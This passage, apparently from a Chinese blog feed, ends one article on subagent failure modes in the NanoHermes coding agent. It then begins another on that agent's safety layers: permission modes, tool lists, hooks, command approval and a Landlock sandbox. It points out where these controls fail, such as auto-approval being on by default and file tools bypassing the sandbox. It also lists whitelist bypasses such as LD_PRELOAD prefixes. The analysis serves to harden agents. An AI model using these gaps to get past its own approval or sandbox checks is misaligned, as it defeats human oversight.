<strong>第二，<code>goal</code> 模式和子代理的组合是最危险的。</strong> <code>goal</code> 强制 <code>auto_approve = true</code> 且 <code>ApprovalPolicy::Never</code>。四条并行的子代理、每条都能跑命令、没有人被问过——06 讲的「<code>goal</code> 是唯一主动放弃人类监督的模式」在多体下被放大了四倍。这不一定是错的（无人值守场景就是要这个），但它意味着 <code>goal</code> + 多体的风险面是乘法关系而不是加法关系，配置文档应该写清楚这一点。

还有一个更微妙的：<code>PermissionMode</code> 是按「这一轮的意图」设计的，而子代理是「这一轮里的一个子角色」。把同一个模式原样继承下去，等于假设「这一轮的意图对所有角色都成立」。多数情况下成立，但 <code>debug</code> 模式是个反例——父代理在 debug 模式下不能改文件，而一个修 bug 的子代理可能恰恰需要改文件。这时候只能退出 debug 模式，没有「父代理 debug、子代理 default」这种组合。
<h2>七个多体的失效模式</h2>

把前面各节的现象按后果分级：
<div class="table-scroll"><table>
<thead>
<tr>
<th>严重度</th>
<th>失效模式</th>
<th>根源</th>
<th>可否修</th>
</tr>
</thead>
<tbody>
<tr>
<td>致命</td>
<td>嵌套子代理 + 门不可重入 → 永久死锁</td>
<td>防嵌套只过滤工具清单</td>
<td>能，入口加 depth 断言</td>
</tr>
<tr>
<td>高</td>
<td>中断在门等待中失效，Ctrl-C 最长等 80 分钟</td>
<td>只在步骤边界检查中断</td>
<td>能，<code>wait_timeout</code> 轮询</td>
</tr>
<tr>
<td>高</td>
<td>共享待办清单被子代理整体覆盖</td>
<td><code>todo_write</code> 是替换语义</td>
<td>能，加 owner 字段</td>
</tr>
<tr>
<td>高</td>
<td>共享后台任务可被子代理杀掉</td>
<td>任务表无归属信息</td>
<td>能，加 owner 字段</td>
</tr>
<tr>
<td>中</td>
<td>子代理能通过 <code>agent_list</code> 读到其他任务的结果摘要</td>
<td><code>agent_list</code> 不排除、也只按名字裁工具</td>
<td>能，按角色过滤</td>
</tr>
<tr>
<td>中</td>
<td><code>duration</code> 含排队时间，观测口径错误</td>
<td>登记早于 <code>acquire</code></td>
<td>能，拆两个时间点</td>
</tr>
<tr>
<td>中</td>
<td>排队任务显示成 running</td>
<td>缺 <code>Queued</code> 状态</td>
<td>能，加枚举值</td>
</tr>
</tbody>
</table></div>

分级依据是「会不会造成不可恢复的后果」。死锁是不可恢复的（要靠杀进程）；其余都是可恢复的（重试、刷新、手动清理）。

有一条容易漏掉但没有列进来：<code>def.allowed_tools</code> 不参与执行检查。它不列在里面是因为它本身不产生错误行为——它只是让「用户以为的隔离」比「实际的隔离」更严。这类问题不会以故障形式出现，而是以「某天发现子代理改了不该改的文件」的形式出现。它属于安全审查项，不属于失效模式。
<h2>怎么把多体测出来</h2>

多体的测试难点是「并发 + 阻塞 + 时间」。四个可以直接写的测试：

<strong>测试一：门上限不被突破。</strong> 现成的 <code>gate_caps_concurrency</code> 就是模板：N 个线程抢 M 个槽位，记录峰值、断言 <code>peak &lt;= M</code>，最后断言计数归零。断言计数归零这一条比断言峰值更重要——它证明没有泄漏。

<strong>测试二：板子的状态迁移完整。</strong> 现成的 <code>board_records_jobs_in_order</code> 覆盖了 <code>Running → Done</code> 和 <code>Running → Failed</code>。值得补的是「同一 id 重复 finish」和「finish 一个不存在的 id」，前者应该幂等（当前实现是：第二次 finish 会用第二次的 result 覆盖第一次，状态也被覆盖），后者应该静默。

<strong>测试三：嵌套被拒绝。</strong> 当前没有这个测试，因为当前也没有这个功能——但这是最容易写的一条：
<div class="codehilite"><pre><span></span><code><span class="cp">#[test]</span>
<span class="k">fn</span><span class="w"> </span><span class="nf">nested_subagents_are_refused</span><span class="p">()</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="c1">// 在 depth = 1 的上下文里调 subagent，期望 Err</span>
<span class="p">}</span>
</code></pre></div>


写这个测试的价值不在覆盖率，而在把「防嵌套靠工具清单」这个隐式设计变成显式契约。测试写了，<code>depth</code> 字段就会被加上。

<strong>测试四：中断能打断等待。</strong> 用 <code>wait_timeout</code> 版本的门，一个线程持有许可不放，另一个线程设上中断标志后 <code>acquire</code>，断言它在 200ms 内返回 <code>None</code>。这条测试会失败在当前实现上，这正是它的价值。

还有一条不好写但值得讨论的：<strong>怎么验证「不会死锁」</strong>。经典做法是压力测试——用比槽位多的线程反复 acquire/release 几千次；如果实现里有锁顺序问题，它会在某个时刻卡住。但卡住的表现是「测试不结束」，需要外部超时。所以压力测试必须配一个 watchdog：
<div class="codehilite"><pre><span></span><code><span class="c1">// 主线程 join 带超时；超时则打印所有线程的状态并 abort</span>
<span class="c1">// Rust 标准库没有 join_timeout，常用做法是用 channel + recv_timeout</span>
</code></pre></div>


这条测试能覆盖锁顺序和计数泄漏两类问题，但对「嵌套死锁」覆盖不到——因为嵌套死锁需要模型配合。所以嵌套那条必须靠单元测试，不能靠压力测试。
<h2>七处可以加固的地方</h2>

按「投入产出比」排序：

<strong>一、给 <code>Ctx</code> 加 <code>depth</code>，在 <code>run_subagent</code> 入口断言。</strong> 三行代码，消除唯一一个致命失效模式。同时它让「以后支持两层嵌套」变成一个显式的数值改动（<code>if depth &gt;= max_depth</code>）而不是结构性重写。

<strong>二、<code>Gate::acquire</code> 改成可中断 + 带超时。</strong> <code>wait_timeout</code> 轮询 200ms，同时检查中断标志。它同时解决「Ctrl-C 卡住」和「死锁不可恢复」两个问题——即使嵌套死锁真的发生，中断也能把它打破。

<strong>三、<code>JobStatus</code> 加 <code>Queued</code>，并把 <code>duration</code> 拆成排队时长和执行时长。</strong> 改动涉及 <code>board.rs</code> 和 <code>render_agent_board</code> 两处，但观测口径会立刻变准。

<strong>四、<code>SubAgentDef</code> 加 <code>max_iterations</code>。</strong> 子代理继承父代理的 40 轮是个危险的默认值——一个「跑测试并报告」的子代理不该有 40 轮预算。加一个可选字段、默认取一个比父代理小的值（比如 10），能让多体的成本可控。

<strong>五、把 <code>MAX_PARALLEL_SUBAGENTS</code> 从常量变成配置。</strong> 移进 <code>Config</code>，加 CLI flag 和 JSON 字段。这条改动是「让 4 变成可调」，但它真正的价值是让「配额」这个概念在代码里有正确的位置。

<strong>六、给共享状态加归属。</strong> <code>Todo { owner }</code>、<code>Task { owner }</code>、<code>Memory { source }</code>，工具层按角色过滤。这是列表中改动面最大的一条，也是唯一能根治「子代理搞乱父代理状态」的一条。

<strong>七、给 <code>def.allowed_tools</code> 加执行期检查。</strong> 在 <code>run_subagent_inner</code> 里包一层：把子代理上下文的 <code>check_tool</code> 换成「父代理允许 × 子代理允许」的交集。做法是给 <code>execute</code> 传一个可选的额外过滤集，或者在子代理期间用一个 <code>sub_cfg</code> 构造一个临时检查函数。

前三条改动都很小、收益明确，是「今天就能做」的。后四条里第四条和第五条属于配置层，第六条和第七条属于权限层，都需要先想清楚语义——比如 <code>owner</code> 用什么标识（<code>agent-7</code>？还是父代理给的 <code>def.name</code>？）——再动手。
<h2>小结：多体先要分清谁的责任</h2>

把 07 讲的东西压成三句话。

<strong>第一，多体的抽象比它看起来弱。</strong> <code>SubAgentDef</code> 只有四个字段，子代理本质上是「换了提示词、换了工具清单、可能换了模型的同一个 Agent」。这意味着很多你以为隔离了的东西其实没隔离：待办清单、后台任务、记忆目录、钩子可见性，全部是共享的。

<strong>第二，共享本身不是缺陷，无归属的共享才是。</strong> 任务板、限流门、<code>Ctx</code> 都该共享——否则用户看到五份互不相干的计划，<code>task_kill</code> 变成盲盒。问题在于共享的对象上没有「这是谁的」这个字段，于是任何角色都能改任何状态。加 owner 是这类问题的通用解。

<strong>第三，三个切得不干净的地方有共同的形状：把「广告位过滤」当成了「执行期闸门」。</strong> 防嵌套靠工具清单、子代理的工具限制靠工具清单、可用子代理名字靠系统提示词——三处都是「让模型看不见」而不是「让调用不成立」。这个区别在单代理场景下无关紧要（模型看不见就不会调），在多体场景下会放大成死锁、越权和信息泄漏。

NanoHermes 在多体上的实现有一处特别值得肯定：<code>GateGuard</code> 的 <code>Drop</code> 归还、<code>while</code> 重检条件、<code>notify_one</code> 而非 <code>notify_all</code>，这三个细节说明作者对手写信号量的坑是清楚的，测试里那句「all permits released」的断言也证明他知道要验证泄漏。真正的问题不在门的实现，而在门的<strong>语义边界</strong>——它管的是「同时几个」，而多体真正需要的是「谁的预算、谁的配额、谁的可见范围」。

下一篇进入观测：给每个轮次记一本账。07 讲的是「一次委派发生了什么」，08 要讲的是「怎么把这些事记下来、算清楚、看清楚」——用量统计、日志、以及一个 turn 的成本应该怎么归集到发起它的人身上。]]></content:encoded>
    </item>
    <item>
      <title>Agent 安全：让它跑命令而不失控</title>
      <link>https://zhoujungis.github.io/article/agent-security-run-commands-safely/</link>
      <guid isPermaLink="true">https://zhoujungis.github.io/article/agent-security-run-commands-safely/</guid>
      <pubDate>Thu, 22 Oct 2026 07:07:17 GMT</pubDate>
      <description>适用读者：准备把 coding agent 接到真实仓库、真实机器上的人；被「它删了我的文件」或「它读了我的密钥」吓过的人；想知道权限模式、审批、钩子、内核沙箱这四层到底谁在挡谁的人 结论先行：NanoHermes 的安全不是一个开关，而是五道独立的闸门——工具清单、权限模式、PreToolUse 钩子、命令审批、La</description>
      <category>AI编程</category>
      <category>Agent</category>
      <category>Agent 工程</category>
      <category>安全</category>
      <category>架构设计</category>
      <content:encoded><![CDATA[<blockquote>

适用读者：准备把 coding agent 接到真实仓库、真实机器上的人；被「它删了我的文件」或「它读了我的密钥」吓过的人；想知道权限模式、审批、钩子、内核沙箱这四层到底谁在挡谁的人
结论先行：NanoHermes 的安全不是一个开关，而是五道独立的闸门——工具清单、权限模式、PreToolUse 钩子、命令审批、Landlock 沙箱。它们按顺序逐层收窄，任何一层失效都不应该让整条链路失守。而实测下来，最薄弱的一环不在沙箱里，在于<strong>沙箱只覆盖子进程，不覆盖内置文件工具</strong>
阅读时间：约 55 分钟 | 难度：进阶 | 收获：五道闸门的完整调用链 + 只读命令白名单的四个绕过 + Landlock 手写实现的关键细节 + 沙箱覆盖不到的四个面 + 七处可加固点
</blockquote>

<strong>目录</strong>
<ul>
<li>前言：安全不是一个开关，是五道独立的闸门</li>
<li>结论先行：五道闸门与它们各自的失效模式</li>
<li>权限模式：五种模式到底挡了什么</li>
<li>默认配置的真实姿态</li>
<li>第一道闸门 check_tool 的三层判定</li>
<li>白名单与黑名单：顺序决定语义</li>
<li>PreToolUse 钩子：一条可以否决的工具链</li>
<li>钩子的边界：30 秒、无沙箱、可信配置</li>
<li>审批策略：三个值，一个短路</li>
<li>is_trusted_command 的六条判定</li>
<li>只读白名单的四个漏洞</li>
<li>按 basename 判定：<code>/tmp/ls</code> 也算可信</li>
<li>环境变量前缀：LD_PRELOAD 那一行</li>
<li>git 子命令白名单为什么挡不住别名</li>
<li>元字符屏蔽：那九个字符是必要的</li>
<li>Landlock：不引入任何 crate 的内核沙箱</li>
<li>pre_exec 里能做什么，不能做什么</li>
<li>ABI 版本与掩码：为什么权限要按版本裁剪</li>
<li>只读根加工作区可写：两条路径规则</li>
<li>网络没有被限制</li>
<li>失败即拒绝：为什么不肯降级</li>
<li>沙箱只覆盖子进程：最大的缺口</li>
<li>resolve 不做规范化：绝对路径与 .. 直通</li>
<li>符号链接：内核沙箱与内置工具的差异</li>
<li>四个逃逸面</li>
<li>权限模式与沙箱的交叉矩阵</li>
<li>plan 模式为什么不是只读沙箱</li>
<li>goal 模式：没有人可以问</li>
<li>交叉验证：七个攻击场景</li>
<li>七处可以加固的地方</li>
<li>怎么测试安全边界</li>
<li>小结：先假设最坏，再逐层放宽</li>
</ul>
<h2>前言：安全不是一个开关，是五道独立的闸门</h2>

给 Agent 加安全，最常见的做法是加一个 <code>--safe</code> 开关。这个做法必然失败，因为安全问题不是一个维度的问题：
<ul>
<li>模型想调用一个不该存在的工具</li>
<li>模型调用了合法工具，但参数指向了工作区之外</li>
<li>模型的命令看起来只读，实际能写文件</li>
<li>模型确实需要跑一条危险命令，但它不该在没有人类同意时跑</li>
<li>命令本身合法，但它 spawn 的子进程做了别的事</li>
</ul>

这五种情况需要五种不同的拦截点。所以「安全」的正确定义不是「一个开关」，而是<strong>一组按顺序生效的闸门，每道闸门负责一个维度，且任何一道都不依赖其他道来兜底</strong>。

NanoHermes 有五道：工具清单（模型能看见什么）、权限模式（这一轮允许做什么）、PreToolUse 钩子（用户自定义的否决）、命令审批（跑之前问人）、Landlock 沙箱（内核层面的文件系统限制）。它们分布在完全不同的层——从 JSON 生成到内核系统调用——这种分散本身就是设计意图：<strong>一层被绕过，还有下一层</strong>。

本文按调用链的顺序走这五道闸门，然后专门拆解每一道单独失效时会发生什么。最后一节给出七个真实可复现的攻击场景和七处加固建议。
<h2>结论先行：五道闸门与它们各自的失效模式</h2>

先看全景。一次工具调用从模型输出到真正执行，经过的检查是严格有序的：
<div class="table-scroll"><table>
<thead>
<tr>
<th>顺序</th>
<th>闸门</th>
<th>位置</th>
<th>挡住了什么</th>
<th>失效后果</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>工具清单过滤</td>
<td><code>build_tools</code></td>
<td>模型看不到被封禁的工具</td>
<td>模型尝试调用，被第 2 道拦下</td>
</tr>
<tr>
<td>2</td>
<td><code>check_tool</code></td>
<td><code>execute</code> 第一行</td>
<td>模式封禁 + 黑名单 + 白名单</td>
<td>任意工具可执行</td>
</tr>
<tr>
<td>3</td>
<td>PreToolUse 钩子</td>
<td><code>execute</code> 中段</td>
<td>用户脚本的非零退出</td>
<td>用户自定义策略失效</td>
</tr>
<tr>
<td>4</td>
<td>命令审批</td>
<td><code>run_command</code> / <code>git_commit</code></td>
<td>非只读命令</td>
<td>危险命令无人工确认即执行</td>
</tr>
<tr>
<td>5</td>
<td>Landlock</td>
<td><code>pre_exec</code>（子进程）</td>
<td>沙箱外的文件写入</td>
<td>子进程可写全盘</td>
</tr>
</tbody>
</table></div>

五道闸门的覆盖面是嵌套的，不是并列的：
<ul>
<li>第 1 道是「广告」层，只管模型看见什么，不负责拦截</li>
<li>第 2、3 道是「工具级」，对每个工具调用都生效</li>
<li>第 4 道是「命令级」，只对 <code>run_command</code> 和 <code>git_commit</code> 生效</li>
<li>第 5 道是「进程级」，只对 <code>Command::spawn</code> 出来的子进程生效</li>
</ul>

这个嵌套关系直接决定了最关键的一个结论：<strong>内置文件工具（<code>read_file</code>、<code>write_file</code>、<code>edit_file</code>、<code>apply_patch</code>）只受第 2、3 道管，完全不受第 4、5 道管</strong>。也就是说，命令审批和内核沙箱再好，也挡不住 agent 自己用 <code>write_file</code> 往 <code>/etc/</code> 里写东西——因为它根本没有 spawn 子进程。
<h2>权限模式：五种模式到底挡了什么</h2>

<code>PermissionMode</code> 是这套安全模型里最上层的抽象，五种模式各自回答一个不同的问题：
<div class="table-scroll"><table>
<thead>
<tr>
<th>模式</th>
<th>意图</th>
<th>封禁的工具</th>
<th>auto_approve</th>
<th>审批策略</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>default</code></td>
<td>正常干活</td>
<td>无</td>
<td>继承配置</td>
<td>继承配置</td>
</tr>
<tr>
<td><code>accept-edits</code></td>
<td>文件改动免问，命令仍问</td>
<td>无</td>
<td>强制 false</td>
<td>继承配置</td>
</tr>
<tr>
<td><code>plan</code></td>
<td>只读分析</td>
<td>写文件、打补丁、跑命令、提交</td>
<td>继承配置</td>
<td>继承配置</td>
</tr>
<tr>
<td><code>goal</code></td>
<td>无人值守跑到目标</td>
<td>无</td>
<td>强制 true</td>
<td>强制 never</td>
</tr>
<tr>
<td><code>debug</code></td>
<td>复现问题但别改坏</td>
<td>写文件、打补丁、提交</td>
<td>继承配置</td>
<td>继承配置</td>
</tr>
</tbody>
</table></div>

三条设计逻辑值得单独说。

<strong><code>accept-edits</code> 是最反直觉的一个。</strong> 它的名字暗示「放宽」，实现却是把 <code>auto_approve</code> 强制成 false——因为在这个模式下，免问的只有文件编辑，而「命令仍然要问」这件事必须显式保证。如果它继承配置里的 <code>auto_approve: true</code>，整个模式就变成了「什么都不问」。代码里的注释写得很直白：
<div class="codehilite"><pre><span></span><code><span class="sd">/// `AcceptEdits` always keeps shell confirmation on; `Goal` has nobody to</span>
<span class="sd">/// ask, so it never blocks; the rest inherit the configured flag.</span>
<span class="k">pub</span><span class="w"> </span><span class="k">fn</span><span class="w"> </span><span class="nf">auto_approve</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span><span class="w"> </span><span class="n">configured</span><span class="p">:</span><span class="w"> </span><span class="kt">bool</span><span class="p">)</span><span class="w"> </span><span class="p">-&gt;</span><span class="w"> </span><span class="kt">bool</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="k">match</span><span class="w"> </span><span class="bp">self</span><span class="w"> </span><span class="p">{</span>
<span class="w">        </span><span class="n">PermissionMode</span><span class="p">::</span><span class="n">AcceptEdits</span><span class="w"> </span><span class="o">=&gt;</span><span class="w"> </span><span class="kc">false</span><span class="p">,</span>
<span class="w">        </span><span class="n">PermissionMode</span><span class="p">::</span><span class="n">Goal</span><span class="w"> </span><span class="o">=&gt;</span><span class="w"> </span><span class="kc">true</span><span class="p">,</span>
<span class="w">        </span><span class="n">PermissionMode</span><span class="p">::</span><span class="nb">Default</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">PermissionMode</span><span class="p">::</span><span class="n">Plan</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">PermissionMode</span><span class="p">::</span><span class="n">Debug</span><span class="w"> </span><span class="o">=&gt;</span><span class="w"> </span><span class="n">configured</span><span class="p">,</span>
<span class="w">    </span><span class="p">}</span>
<span class="p">}</span>
</code></pre></div>


<strong><code>goal</code> 是唯一一个主动放弃人类监督的模式。</strong> 它同时做两件事：把 <code>auto_approve</code> 强制成 true，把审批策略强制成 <code>Never</code>。理由写在文档注释里：「没有人在旁边可以问」。这是诚实的做法——与其假装会问、实际永远超时失败，不如明确宣布不问。

<strong><code>plan</code> 和 <code>debug</code> 的区别在 <code>run_command</code>。</strong> <code>plan</code> 封禁它，<code>debug</code> 允许它。理由也清楚：<code>plan</code> 是「读代码想方案」，<code>debug</code> 是「跑起来复现问题」。但两个模式对文件写入的态度完全一致——都封。这一点经常被误解为「<code>debug</code> 比 <code>plan</code> 危险」，实际上它们的危险面是正交的：<code>debug</code> 允许执行任意代码，<code>plan</code> 不允许。
<h2>默认配置的真实姿态</h2>

把默认值摊开看，会发现一个和文档预期不一致的地方：
<div class="codehilite"><pre><span></span><code><span class="n">auto_approve</span><span class="p">:</span><span class="w"> </span><span class="nc">true</span><span class="p">,</span>
<span class="n">approval_policy</span><span class="p">:</span><span class="w"> </span><span class="nc">ApprovalPolicy</span><span class="p">::</span><span class="n">Untrusted</span><span class="p">,</span>
<span class="n">sandbox</span><span class="p">:</span><span class="w"> </span><span class="nc">SandboxMode</span><span class="p">::</span><span class="n">Off</span><span class="p">,</span>
<span class="n">permission_mode</span><span class="p">:</span><span class="w"> </span><span class="nc">PermissionMode</span><span class="p">::</span><span class="nb">Default</span><span class="p">,</span>
</code></pre></div>


<code>auto_approve</code> 的默认值是 <strong>true</strong>。而 <code>needs_approval</code> 的第一行就是：
<div class="codehilite"><pre><span></span><code><span class="k">if</span><span class="w"> </span><span class="n">auto_approve</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="k">return</span><span class="w"> </span><span class="kc">false</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div>


所以默认配置下，<code>approval_policy: Untrusted</code>（「每条命令都问」）<strong>完全不起作用</strong>——它被短路了。同样的，<code>sandbox: Off</code> 意味着 Landlock 根本不会被挂上。

也就是说，不带任何 flag 直接跑 <code>nanohermes "改掉这个 bug"</code>，真实姿态是：<strong>所有工具可用、所有命令不询问、文件系统无限制</strong>。

而 CLI 帮助文本写的是：
<div class="codehilite"><pre><span></span><code>--approval-policy &lt;P&gt;   never | on-request | untrusted (default: untrusted with -y)
</code></pre></div>


「untrusted with -y」这句话有歧义：读起来像是「<code>-y</code> 时是 untrusted」。实际上 <code>-y</code> 做的是把策略设成 <code>Never</code> 并把 <code>auto_approve</code> 设成 true——和帮助文本说的正好相反。

这不是一个可以忽略的文档瑕疵。用户读帮助文本会得到一个「默认会问我」的印象，实际默认不问。安全类配置的错误默认值比缺失功能危险得多，因为它让人<strong>以为自己在被保护</strong>。

修法有两种，都不复杂：
<div class="codehilite"><pre><span></span><code><span class="c1">// 方案一：默认不自动批准，让 -y 才放开</span>
<span class="n">auto_approve</span><span class="p">:</span><span class="w"> </span><span class="nc">false</span><span class="p">,</span>
<span class="n">approval_policy</span><span class="p">:</span><span class="w"> </span><span class="nc">ApprovalPolicy</span><span class="p">::</span><span class="n">OnRequest</span><span class="p">,</span>

<span class="c1">// 方案二：保持自动批准，但把它写进启动横幅</span>
<span class="c1">// &quot;auto-approve ON · sandbox OFF · permission=default&quot;</span>
</code></pre></div>


方案一更安全，但会改变现有用户的交互（每条非只读命令都多一次提示）。方案二不改变行为，只消除误解。对一个已经有大量自动化用法的工具，方案二是现实选择——前提是横幅必须在每一次启动时打印，而不是只在 <code>--status</code> 里。
<h2>第一道闸门 check_tool 的三层判定</h2>

<code>check_tool</code> 是唯一一个对所有工具生效的检查，三层顺序不能换：
<div class="codehilite"><pre><span></span><code><span class="k">pub</span><span class="w"> </span><span class="k">fn</span><span class="w"> </span><span class="nf">check_tool</span><span class="p">(</span><span class="o">&amp;</span><span class="bp">self</span><span class="p">,</span><span class="w"> </span><span class="n">name</span><span class="p">:</span><span class="w"> </span><span class="kp">&amp;</span><span class="kt">str</span><span class="p">)</span><span class="w"> </span><span class="p">-&gt;</span><span class="w"> </span><span class="nb">Result</span><span class="o">&lt;</span><span class="p">(),</span><span class="w"> </span><span class="nb">String</span><span class="o">&gt;</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="c1">// 1. 模式级硬封禁</span>
<span class="w">    </span><span class="k">if</span><span class="w"> </span><span class="bp">self</span><span class="p">.</span><span class="n">permission_mode</span><span class="p">.</span><span class="n">blocked_tools</span><span class="p">().</span><span class="n">contains</span><span class="p">(</span><span class="o">&amp;</span><span class="n">name</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w">        </span><span class="k">return</span><span class="w"> </span><span class="nb">Err</span><span class="p">(</span><span class="fm">format!</span><span class="p">(</span>
<span class="w">            </span><span class="s">&quot;tool `{name}` is not available in {:?} mode&quot;</span><span class="p">,</span>
<span class="w">            </span><span class="bp">self</span><span class="p">.</span><span class="n">permission_mode</span>
<span class="w">        </span><span class="p">));</span>
<span class="w">    </span><span class="p">}</span>
<span class="w">    </span><span class="c1">// 2. 黑名单永远优先</span>
<span class="w">    </span><span class="k">if</span><span class="w"> </span><span class="bp">self</span><span class="p">.</span><span class="n">disallowed_tools</span><span class="p">.</span><span class="n">iter</span><span class="p">().</span><span class="n">any</span><span class="p">(</span><span class="o">|</span><span class="n">t</span><span class="o">|</span><span class="w"> </span><span class="n">t</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="n">name</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w">        </span><span class="k">return</span><span class="w"> </span><span class="nb">Err</span><span class="p">(</span><span class="fm">format!</span><span class="p">(</span><span class="s">&quot;tool `{name}` is disallowed by configuration&quot;</span><span class="p">));</span>
<span class="w">    </span><span class="p">}</span>
<span class="w">    </span><span class="c1">// 3. 白名单只在非空时生效</span>
<span class="w">    </span><span class="k">if</span><span class="w"> </span><span class="o">!</span><span class="bp">self</span><span class="p">.</span><span class="n">allowed_tools</span><span class="p">.</span><span class="n">is_empty</span><span class="p">()</span><span class="w"> </span><span class="o">&amp;&amp;</span><span class="w"> </span><span class="o">!</span><span class="bp">self</span><span class="p">.</span><span class="n">allowed_tools</span><span class="p">.</span><span class="n">iter</span><span class="p">().</span><span class="n">any</span><span class="p">(</span><span class="o">|</span><span class="n">t</span><span class="o">|</span><span class="w"> </span><span class="n">t</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="n">name</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w">        </span><span class="k">return</span><span class="w"> </span><span class="nb">Err</span><span class="p">(</span><span class="fm">format!</span><span class="p">(</span><span class="s">&quot;tool `{name}` is not in the allowed list&quot;</span><span class="p">));</span>
<span class="w">    </span><span class="p">}</span>
<span class="w">    </span><span class="nb">Ok</span><span class="p">(())</span>
<span class="p">}</span>
</code></pre></div>


三层语义各不相同：

<strong>第一层是模式，它先于用户的任何配置。</strong> 这意味着 <code>plan</code> 模式下即使你把 <code>write_file</code> 加进白名单也没用——模式封禁在最前面。这是对的：模式是「这一轮的意图」，配置是「长期偏好」，意图应该压倒偏好。

<strong>第二层是黑名单，它压过白名单。</strong> 一个人同时把工具写进两个列表时，结果是拒绝。这个选择符合安全领域的惯例：显式禁止优先于显式允许，因为「禁止」通常是在出事之后加的。

<strong>第三层是白名单，空表示「不限制」。</strong> 这里有个容易踩的语义陷阱：<code>allowed_tools: []</code> 不是「什么都不许」，而是「什么都许」。如果用户想限制成「只允许读文件」，必须写成 <code>allowed_tools: ["read_file", "list_dir", "grep", "glob"]</code>——而漏写一个工具的表现是「那个工具突然不能用了」，不是「多了不该有的能力」。这个方向是安全的（fail closed），但不符合直觉。

<code>check_tool</code> 的返回值有两种归宿，值得分清：
<div class="table-scroll"><table>
<thead>
<tr>
<th>调用点</th>
<th>失败时的表现</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>build_tools()</code>（生成工具列表）</td>
<td>工具永不出现在模型视野里</td>
</tr>
<tr>
<td><code>execute()</code>（执行前检查）</td>
<td>返回一条 <code>ERROR: ...</code> 字符串给模型</td>
</tr>
</tbody>
</table></div>

第一处是「不告诉模型」，第二处是「告诉模型它被拒了」。两处都要有，因为模型可能从历史里学到工具名（上一轮允许、这一轮被模式封禁），也可能纯粹幻觉出一个不存在的工具名。
<h2>白名单与黑名单：顺序决定语义</h2>

上一节提到顺序，这里给一个完整的真值表，因为这是配置安全时最容易搞错的地方：
<div class="table-scroll"><table>
<thead>
<tr>
<th><code>blocked_tools</code></th>
<th>黑名单</th>
<th>白名单</th>
<th>结果</th>
<th>原因</th>
</tr>
</thead>
<tbody>
<tr>
<td>命中</td>
<td>任意</td>
<td>任意</td>
<td>拒绝</td>
<td>模式优先</td>
</tr>
<tr>
<td>未命中</td>
<td>命中</td>
<td>任意</td>
<td>拒绝</td>
<td>黑名单压过白名单</td>
</tr>
<tr>
<td>未命中</td>
<td>未命中</td>
<td>空</td>
<td>允许</td>
<td>空表示不限制</td>
</tr>
<tr>
<td>未命中</td>
<td>未命中</td>
<td>命中</td>
<td>允许</td>
<td>白名单放行</td>
</tr>
<tr>
<td>未命中</td>
<td>未命中</td>
<td>未命中</td>
<td>拒绝</td>
<td>白名单非空即排他</td>
</tr>
</tbody>
</table></div>

第五行是关键：白名单一旦非空，就是<strong>排他列表</strong>。这让「渐进式收紧」变得危险——你先加了 <code>["read_file"]</code> 想看看效果，结果整个 agent 除了读文件什么都不能做。合理的做法是提供两个字段：<code>allowed_tools</code>（排他）和 <code>denied_tools</code>（追加），或者在文档里用「白名单非空即封禁其余」这样的明确措辞。

还有一个更隐蔽的问题：<strong>白名单是按工具名匹配，不是按能力匹配。</strong> 把 <code>run_command</code> 放进黑名单并不会阻止 <code>git_commit</code> 执行 <code>git commit</code>（它内部调 <code>Command</code>），也不会阻止 <code>subagent</code> 起一个子代理去改文件。工具是能力的载体，封禁工具名只是在封禁「入口」，不是封禁「能力」。

真正按能力封的是 <code>PermissionMode::Plan</code> 里的那五个工具——但它也只能封它知道的那五个。
<h2>PreToolUse 钩子：一条可以否决的工具链</h2>

第三道闸门是用户自己写的。钩子是一个外部命令，通过 stdin 收到工具调用的 JSON，通过退出码表态：
<div class="codehilite"><pre><span></span><code><span class="k">for</span><span class="w"> </span><span class="n">hook</span><span class="w"> </span><span class="k">in</span><span class="w"> </span><span class="bp">self</span>
<span class="w">    </span><span class="p">.</span><span class="n">cfg</span>
<span class="w">    </span><span class="p">.</span><span class="n">hooks</span>
<span class="w">    </span><span class="p">.</span><span class="n">iter</span><span class="p">()</span>
<span class="w">    </span><span class="p">.</span><span class="n">filter</span><span class="p">(</span><span class="o">|</span><span class="n">h</span><span class="o">|</span><span class="w"> </span><span class="n">h</span><span class="p">.</span><span class="n">event</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="n">HookEvent</span><span class="p">::</span><span class="n">PreToolUse</span><span class="w"> </span><span class="o">&amp;&amp;</span><span class="w"> </span><span class="n">h</span><span class="p">.</span><span class="n">matches</span><span class="p">(</span><span class="o">&amp;</span><span class="n">call</span><span class="p">.</span><span class="n">name</span><span class="p">))</span>
<span class="p">{</span>
<span class="w">    </span><span class="k">match</span><span class="w"> </span><span class="n">hooks</span><span class="p">::</span><span class="n">run</span><span class="p">(</span><span class="n">hook</span><span class="p">,</span><span class="w"> </span><span class="o">&amp;</span><span class="n">call</span><span class="p">.</span><span class="n">name</span><span class="p">,</span><span class="w"> </span><span class="o">&amp;</span><span class="n">args</span><span class="p">,</span><span class="w"> </span><span class="o">&amp;</span><span class="bp">self</span><span class="p">.</span><span class="n">cfg</span><span class="p">.</span><span class="n">workspace</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w">        </span><span class="nb">Ok</span><span class="p">(</span><span class="n">o</span><span class="p">)</span><span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="n">o</span><span class="p">.</span><span class="n">ok</span><span class="p">()</span><span class="w"> </span><span class="o">=&gt;</span><span class="w"> </span><span class="p">{}</span>
<span class="w">        </span><span class="nb">Ok</span><span class="p">(</span><span class="n">o</span><span class="p">)</span><span class="w"> </span><span class="o">=&gt;</span><span class="w"> </span><span class="p">{</span>
